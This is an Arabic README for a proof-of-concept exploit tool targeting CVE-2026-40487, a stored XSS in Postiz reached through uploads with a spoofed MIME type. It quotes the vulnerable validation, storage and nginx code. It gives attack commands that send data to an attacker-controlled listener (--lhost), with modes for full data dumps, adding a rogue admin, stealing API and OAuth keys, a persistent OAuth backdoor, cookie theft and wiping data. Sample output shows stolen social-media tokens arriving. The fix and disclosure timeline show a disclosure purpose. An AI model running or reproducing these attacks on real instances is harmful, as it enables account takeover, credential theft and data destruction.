
إثبات مفهوم لاستغلال CVE-2026-40487، يوضح رفع ملفات تعسفي عبر انتحال MIME مما يؤدي إلى XSS مخزّن والاستيلاء على الحساب في Postiz. يتضمن أوضاع هجوم متعددة لسرقة البيانات، وتصعيد الامتيازات، والاستمرارية.
اكتشفه وقدّمه: Astaruf
الشرح الكامل: https://nstsec.com/en/posts/postiz-xss-cve-2026-40487/
إدخال NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-40487
إدخال GHSA: https://github.com/gitroomhq/postiz-app/security/advisories/GHSA-44wg-r34q-hvfx
سجل CVE: https://www.cve.org/CVERecord?id=CVE-2026-40487
Postiz هو أداة مفتوحة المصدر لإدارة وسائل التواصل الاجتماعي مع أكثر من 28 تكاملًا للمنصات (Instagram, X, LinkedIn, Facebook, TikTok، وغيرها)، ويُستخدم في أكثر من 600 نسخة معرّضة على الإنترنت.
يمكن لمهاجم منخفض الصلاحيات رفع ملف SVG (أو HTML) خبيث مع ترويسة Content-Type: image/png مزوّرة. يقبل الخادم الملف دون فحص محتواه الفعلي، ويحافظ على الامتداد الأصلي، ويقدّمه nginx مع Content-Type المشتق من ذلك الامتداد (image/svg+xml). عندما يفتح الضحية الرابط، يتم تنفيذ JavaScript المضمّن في نطاق التطبيق، مما يمنح المهاجم قدرات كاملة للتحكم بالجلسة تعادل الاستيلاء على الحساب.
سلسلة الهجوم:
يرفع المهاجم ملف .svg مع Content-Type: image/png
-> يتحقق الخادم فقط من ترويسة Content-Type (CWE-345)
-> يُحفظ الملف على القرص بالامتداد الأصلي .svg (CWE-434)
-> يقدّمه nginx كـ image/svg+xml
-> ينفّذ المتصفح JavaScript المضمّن (CWE-79)
-> نفس النطاق: وصول كامل لجلسة الضحية
يتم تنفيذ حمولة XSS في نفس النطاق مع التطبيق. حتى لو كانت كوكي المصادقة HttpOnly، فإن fetch() مع credentials: "include" يرفقها تلقائيًا. يمكن للمهاجم:
pos_* لا ينتهي أبدًا ويبقى صالحًا بعد تغيير كلمات المرور)ثلاثة مكونات تفشل بشكل مستقل، مما ينشئ سلسلة الاستغلال:
libraries/nestjs-libraries/src/upload/custom.upload.validation.ts:
const validation =
(value.mimetype.startsWith('image/') ||
value.mimetype.startsWith('video/mp4')) &&
value.size <= maxSize;
value.mimetype يأتي من ترويسة Content-Type في طلب multipart، والتي يتحكم بها المهاجم. لا يوجد فحص للبايتات السحرية، ولا استخدام لمكتبات مثل file-type.
libraries/nestjs-libraries/src/upload/local.storage.ts:
const filePath = `${dir}/${randomName}${extname(file.originalname)}`;
writeFileSync(filePath, file.buffer);
extname(file.originalname) يستخرج الامتداد من اسم الملف المقدَّم من العميل. لا يوجد فحص للاتساق بين نوع MIME المُعلن والامتداد. كما يعيد الخادم الرابط العام الكامل في الاستجابة، فيحصل المهاجم على الرابط لإرساله إلى الضحية.
http {
include /etc/nginx/mime.types;
location /uploads/ {
alias /uploads/;
}
}
يقوم nginx بتعيين .svg إلى image/svg+xml، و.html إلى text/html. لا يوجد Content-Security-Policy، ولا X-Content-Type-Options: nosniff، ولا Content-Disposition: attachment.
Python 3.8+
pip install requests
# 1. تحقق مما إذا كان الهدف عرضة للثغرة
python3 poc.py http://target:5000 -e [email protected] -p password --check
# 2. سرقة كل شيء من الضحية
python3 poc.py http://target:5000 -e [email protected] -p password \
--lhost YOUR_IP -a full-dump
# 3. إنشاء باب خلفي دائم
python3 poc.py http://target:5000 -e [email protected] -p password \
--lhost YOUR_IP -a create-oauth-app
# 4. إعادة استخدام الرمز دون بيانات اعتماد
python3 poc.py http://target:5000 -t pos_XXXX...XXXX \
--lhost YOUR_IP -a full-dump
المهاجم خادم Postiz الضحية
| | |
|-- 1. تسجيل الدخول/التسجيل -->| |
|-- 2. رفع SVG خبيث ---------->| |
|<---- رابط الملف -------------| |
|-- 3. إرسال الرابط للضحية ---------------------------> |
| |<--- 4. فتح الرابط ----- |
| |--- SVG + JS ---------> |
|<-------------- 5. تنفيذ JS وسرقة البيانات ------------|
| الوضع | الوصف |
|---|---|
dump-self | ملف الضحية الشخصي، معلومات المؤسسة، المستوى، مفتاح API |
dump-personal | الاسم المعروض، السيرة الذاتية، صورة الملف الشخصي |
dump-integrations | تكاملات وسائل التواصل الاجتماعي المرتبطة ورموزها |
dump-posts | المنشورات المجدولة والمسودات (آخر 365 يومًا) |
dump-team | أعضاء الفريق، الأدوار، وعناوين البريد الإلكتروني |
dump-media | قائمة مكتبة الوسائط |
dump-notifications | سجل الإشعارات |
dump-signatures | توقيعات المنشورات |
dump-webhooks | خطافات الويب المكوّنة وعناوينها |
dump-oauth-app | بيانات اعتماد تطبيق OAuth (clientId, secret) |
dump-copilot | سلاسل محادثات المساعد الذكي AI |
dump-billing | معلومات الفوترة والاشتراك |
dump-settings | إعدادات الروابط المختصرة والإشعارات |
dump-third-party | إعدادات تكاملات الطرف الثالث |
dump-autopost | قواعد النشر التلقائي |
dump-sets | مجموعات المحتوى |
dump-tags | وسوم المنشورات |
dump-customers | قائمة العملاء |
full-dump | كل ما سبق في حمولة واحدة |
| الوضع | الوصف |
|---|---|
add-admin | دعوة المهاجم كمسؤول ADMIN في مؤسسة الضحية (--attacker-email) |
rotate-key | تدوير مفتاح API للمؤسسة وسرقته |
rotate-oauth | تدوير سر تطبيق OAuth وسرقته |
| الوضع | الوصف |
|---|---|
kill-notifications | تعطيل جميع إشعارات البريد الإلكتروني |
edit-profile | تعديل اسم الضحية وسيرته الذاتية (--edit-name, --edit-bio) |
wipe-signatures | حذف جميع توقيعات المنشورات |
wipe-webhooks | حذف جميع خطافات الويب |
wipe-tags | حذف جميع الوسوم |
wipe-sets | حذف جميع مجموعات المحتوى |
wipe-autopost | حذف جميع قواعد النشر التلقائي |
logout-victim | إجبار الضحية على تسجيل الخروج |
delete-oauth-app | حذف تطبيق OAuth الخاص بالضحية |
| الوضع | الوصف |
|---|---|
create-oauth-app | إنشاء تطبيق OAuth، موافقة تلقائية، سرقة رمز pos_* الدائم (--oauth-redirect) |
steal-cookie | سرقة JWT للمصادقة عبر document.cookie (عندما NOT_SECURED=true) |
| الوضع | الوصف |
|---|---|
api-call | استدعاء API مصادق تعسفي (--api-method, --api-path, --api-body) |
custom | تنفيذ JavaScript تعسفي (--custom-js) |
| الخيار | الوصف |
|---|---|
--check | فحص ما إذا كان الهدف عرضة للثغرة (بدون تنفيذ هجوم) |
--register | تسجيل حساب جديد قبل تسجيل الدخول |
-t / --token | استخدام مفتاح API أو رمز pos_* بدلاً من بيانات الاعتماد |
--format html | استخدام حمولة HTML بدلاً من SVG |
--proxy | توجيه الحركة عبر وكيل HTTP/SOCKS (مثل Burp Suite) |
-o / --output | حفظ الغنائم في ملف JSON |
$ python3 poc.py http://target:5000 -e [email protected] -p S3cret! --lhost 10.0.0.1 -a full-dump
██████╗██╗ ██╗███████╗ ██╗ ██╗ ██████╗ ██╗ ██╗ █████╗ ███████╗
██╔════╝██║ ██║██╔════╝ ██║ ██║ ██╔═████╗ ██║ ██║ ██╔══██╗ ╚════██║
██║ ██║ ██║█████╗ -2026- ███████║ ██║██╔██║ ███████║ ╚█████╔╝ ██╔╝
██║ ╚██╗ ██╔╝██╔══╝ ╚════██║ ████╔╝██║ ╚════██║ ██╔══██╗ ██╔╝
╚██████╗ ╚████╔╝ ███████╗ ██║ ╚██████╔╝ ██║ ╚█████╔╝ ██║
╚═════╝ ╚═══╝ ╚══════╝ ╚═╝ ╚═════╝ ╚═╝ ╚════╝ ╚═╝
Postiz <= 2.21.5 — XSS مخزّن عبر رفع ملف بانتحال MIME
[*] تسجيل الدخول كـ [email protected] ...
[+] تمت المصادقة.
[*] إنشاء الحمولة: سرقة كل شيء في حمولة واحدة
[*] رفع ملف .svg خبيث مع Content-Type: image/png ...
[+] تم الرفع بنجاح.
ID: 28c1daee-d83e-403e-bc1f-dba63182d4b0
Path: http://target:5000/uploads/2026/04/15/4be19b2244eb.svg
[*] بدء مستمع السرقة على 0.0.0.0:8888 ...
=================================================================
أرسل هذا الرابط إلى الضحية:
http://target:5000/uploads/2026/04/15/4be19b2244eb.svg
=================================================================
[*] انتظار فتح الضحية للرابط ...
[+] تم استلام الغنيمة @ 2026-04-15 03:45:41
tag: victim-profile
data: {"email":"[email protected]","orgId":"...","publicApi":"bd332945..."}
[+] تم استلام الغنيمة @ 2026-04-15 03:45:41
tag: integrations
data: [{"id":"...","providerIdentifier":"instagram","token":"IGQVJ..."}]
[+] تم استلام الغنيمة @ 2026-04-15 03:45:42
tag: team-members
data: [{"userId":"...","email":"[email protected]","role":"SUPERADMIN"}]
...
قدّم الإصدار 2.21.6 ثلاثة تغييرات:
file-type لفحص المحتوى الفعلي للملفimage/*)| التاريخ | الحدث |
|---|---|
| 2026-04-10 | اكتشاف الثغرة أثناء مراجعة الكود المصدري |
| 2026-04-10 | الإبلاغ عبر GitHub Security Advisory (GHSA) |
| 2026-04-10 | اعترف المطورون وطلبوا توضيحات |
| 2026-04-10 | تقديم سيناريوهات الهجوم التفصيلية وبيانات Shodan |
| 2026-04-11 | تقديم اعتراض على CVSS مع الأدلة |
| 2026-04-13 | إصدار الإصلاح في v2.21.6 |
| 2026-04-14 | تعيين CVE-2026-40487 |
| 2026-04-15 | الكشف العلني |
هذه الأداة مقدمة لأغراض الاختبار الأمني المصرح به والتعليم فقط. استخدمها فقط ضد الأنظمة التي تملكها أو لديك إذن كتابي صريح لاختبارها. الوصول غير المصرح به إلى أنظمة الكمبيوتر غير قانوني. لا يتحمل المؤلف أي مسؤولية عن سوء الاستخدام.